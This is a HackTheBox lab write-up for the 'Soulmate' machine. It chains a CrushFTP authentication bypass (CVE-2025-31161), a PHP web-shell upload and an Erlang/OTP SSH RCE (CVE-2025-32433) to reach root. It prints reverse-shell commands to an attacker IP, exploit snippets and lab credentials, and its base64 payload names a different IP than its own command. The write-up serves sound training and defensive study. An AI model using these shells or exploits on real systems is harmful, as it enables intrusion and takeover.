HTB: Soulmate Writeup

Soulmate - HackTheBox Writeup

Machine Information

AttributeDetails
NameSoulmate
OSLinux
DifficultyEasy
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Soulmate is an easy difficulty Linux machine that showcases exploitation of real-world vulnerabilities in enterprise software. Starting with assumed breach credentials (jenna/ThisAndThat9901), the attack chain involves discovering a CrushFTP instance via vhost enumeration, exploiting CVE-2025-31161 (authentication bypass) to create an admin account, pivoting to a user account with file upload privileges, and uploading a PHP reverse shell. Privilege escalation leverages an Erlang SSH OTP server running locally, exploiting CVE-2025-32433 to achieve root command execution.

TL;DR: Vhost enumeration → CrushFTP auth bypass (CVE-2025-31161) → admin account creation → user privilege escalation → PHP file upload → reverse shell as www-data → SSH port forwarding → Erlang RCE (CVE-2025-32433) → root shell.


Reconnaissance

Port Scanning

Terminal window
nmap --open 10.129.231.23

Results:

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Two standard services are exposed. Port 80 redirects to http://soulmate.htb, requiring a DNS entry update.

Service Enumeration

HTTP Service (Port 80):

  • Hosts a dating website with login and registration functionality
  • Redirects to http://soulmate.htb
  • Initial enumeration yields a dead-end; further vhost enumeration is required

DNS/Vhost Enumeration:

Terminal window
ffuf -w /usr/share/wordlists/dirb/big.txt -fs 154 -u http://soulmate.htb -H 'Host: FUZZ.soulmate.htb'

Discovery:

  • Located ftp.soulmate.htb vhost running CrushFTP 11 (build date: March 8, 2025)
  • Accessible with provided credentials: jenna / ThisAndThat9901

CrushFTP (Port 80, vhost ftp.soulmate.htb):

  • Upon login as jenna, access to FTP share “IT” containing setup scripts
  • Admin panel accessible only to privileged users
  • User manager functionality for account manipulation

Vulnerability Assessment

  1. CVE-2025-31161: CrushFTP 11 authentication bypass allowing unauthorized admin account creation
  2. CVE-2025-32433: Erlang/OTP SSH server (version 5.2.9) remote command execution vulnerability
  3. File Upload to Web Root: CrushFTP allows authenticated users to upload arbitrary files to web-accessible directories
  4. Misconfigured SSH Wrapper: Local Erlang SSH service exposed with hardcoded credentials

Initial Foothold

Exploitation Path

Step 1: Exploit CVE-2025-31161 (CrushFTP Authentication Bypass)

Download the public PoC for CVE-2025-31161 and modify the Host header to target the vhost:

# Relevant modification in exploit
headers = {
"Host": 'ftp.soulmate.htb', # Update for vhost
"Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
"Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
"Connection": "close",
"User-Agent": random.choice(USER_AGENTS),
}

Execute the exploit to create an admin user:

Terminal window
python3 CVE-2025-31161.py --target_host 10.129.231.23 --port 80 --new_user tcg --password 'tcg123!'

Output:

[+] User created successfully!
[+] Exploit Complete! You can now login with:
[*] Username: tcg
[*] Password: tcg123!

Step 2: Login as Admin and Reset User Password

  1. Log out of jenna’s account
  2. Log in as tcg (newly created admin)
  3. Navigate to Admin → User Manager
  4. Select user “ben” from the list
  5. Generate a random password and save changes
  6. Note the new password for ben

Step 3: Access File Upload Functionality

  1. Log out of tcg
  2. Log in as ben with the newly generated password
  3. Access the “webProd” FTP share (contains source code of soulmate.htb website)
  4. Verify file upload capability in this directory

Step 4: Upload PHP Reverse Shell

Create a reverse shell payload:

Terminal window
cat > shell.php << 'EOF'
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.73/9090 0>&1'"); ?>
EOF

Upload shell.php to the webProd directory via the CrushFTP interface.

Step 5: Trigger Reverse Shell

Start a netcat listener:

Terminal window
nc -lvnp 9090

Access the uploaded shell via HTTP:

Terminal window
curl http://soulmate.htb/shell.php

Reverse Shell Achieved:

Terminal window
# On attacker machine
listening on [any] 9090 ...
connect to [10.10.14.73] from soulmate.htb [10.129.231.23] 60948
bash: cannot set terminal process group (1150): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Local Enumeration

Run automated enumeration to identify escalation paths:

# Run linpeas or manual inspection
www-data@soulmate:~$ cat /usr/local/sbin/erlang_login_wrapper
#!/usr/bin/env bash
# 1) Call Erlang wrapper (logging/policy). Ignore failures.
if ! /usr/local/lib/erlang_login/login.escript; then
echo "[warn] erlang login wrapper failed; continuing" >&2
fi
# 2) Exec the user's login shell
USER_SHELL="${SHELL:-/bin/bash}"
exec "$USER_SHELL" -l

Key Finding: Erlang OTP SSH server configured in /etc/ssh/sshd_config for user ben.

Identify Erlang SSH Service

Examine SSH configuration:

Terminal window
www-data@soulmate:~$ cat /etc/ssh/sshd_config | grep -A 3 "Match User ben"
Match User ben
ForceCommand /usr/local/sbin/erlang_login_wrapper
PermitTTY yes

Check running services:

Terminal window
www-data@soulmate:~$ ss -tlnp | grep 2222
LISTEN 0 5 127.0.0.1:2222 0.0.0.0:*

Discovery: Local Erlang SSH service running on port 2222.

Extract Erlang Service Credentials

Examine the Erlang startup script:

www-data@soulmate:~$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
% ... initialization code ...
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
% ... other options ...
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
% ... response handling ...
end.

Extracted Credentials: ben / HouseH0ldings998

Exploit CVE-2025-32433 (Erlang RCE)

Step 1: SSH Port Forwarding

Forward the local Erlang SSH service to attacker machine:

Terminal window
ssh -L 2222:127.0.0.1:2222 -N -vv ben@soulmate.htb
# Enter password: HouseH0ldings998

Step 2: Identify Service Version

Terminal window
nmap -p 2222 -sV -sC 127.0.0.1

Output:

PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Erlang/5.2.9

Identified: Erlang/OTP SSH version 5.2.9 (vulnerable to CVE-2025-32433)

Step 3: Execute RCE Exploit

Download the CVE-2025-32433 public PoC and start a listener:

Terminal window
nc -lvnp 9090

Run the exploit with a reverse shell command:

Terminal window
python3 exploit.py --target 127.0.0.1 --port 2222 --command "bash -c 'bash -i >& /dev/tcp/10.10.14.73/9090 0>&1'"

Exploit Output:

[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[*] Erlang payload:
os:cmd(binary_to_list(base64:decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4x
MC4xNC4xMzIvOTA5MCAwPiYxJw=="))).
[✓] Exploit sent! Command executed on target
[+] Received response:

Root Shell Achieved:

Terminal window
# On attacker machine
listening on [any] 9090 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.231.23] 59194
bash: cannot set terminal process group (2639): Inappropriate ioctl for device
bash: no job control in this shell
root@soulmate:/# id
uid=0(root) gid=0(root) groups=0(root)

Retrieve Root Flag

Terminal window
root@soulmate:/# cat /root/root.txt
<redacted>

Attack Chain Summary

Vhost Enumeration (ffuf)
CrushFTP Discovery (ftp.soulmate.htb)
CVE-2025-31161 Exploitation (auth bypass)
Admin Account Creation (tcg)
Ben User Password Reset
PHP Reverse Shell Upload
www-data Shell Obtained
Erlang SSH Service Discovery (port 2222)
Credential Extraction (ben/HouseH0ldings998)
SSH Port Forwarding
CVE-2025-32433 Exploitation (Erlang RCE)
Root Shell & Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufVhost fuzzing and discovery
curlHTTP requests and reverse shell trigger
ncNetcat listener for reverse shells
sshPort forwarding and remote access
python3CVE-2025-31161 and CVE-2025-32433 exploit execution
linpeasAutomated privilege escalation reconnaissance

Key Learnings

Techniques Practiced

  • Vhost enumeration using fuzzing (ffuf)
  • CVE exploitation with modified payloads for environment-specific deployment
  • Chained authentication bypasses and privilege escalation
  • PHP reverse shell generation and deployment
  • SSH port forwarding for accessing local services
  • Erlang OTP SSH server vulnerability exploitation
  • Credential extraction from application startup scripts
  • Multi-stage privilege escalation chains

Lessons Learned

  1. Defense-in-Depth is Essential: Multiple vulnerabilities were chained together (CrushFTP auth bypass → file upload → RCE → SSH escalation). Each layer individually might be manageable, but combined they create a complete compromise.

  2. Application Configuration Exposes Credentials: Hardcoded credentials in startup scripts (ben password in start.escript) demonstrate why configuration management and secrets vaults are critical in production environments.

  3. SSH Wrapper Misconfigurations: Using custom SSH commands (ForceCommand) can be effective for logging, but the underlying authentication mechanism must be secure to prevent privilege escalation.

  4. Erlang/OTP Security Updates: The Erlang SSH server vulnerabilities emphasize the importance of keeping dependencies and runtime environments patched, especially for systems handling authentication.

  5. File Upload Restrictions: Web applications allowing authenticated users to upload arbitrary files to web-accessible directories create easy paths to RCE. Proper validation, sandboxing, and permission controls are essential.

  6. Service Enumeration: Local port enumeration uncovered the Erlang service. Tools like ss and netstat are valuable for identifying hidden services that may be unexploitable directly but accessible through SSH tunneling.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>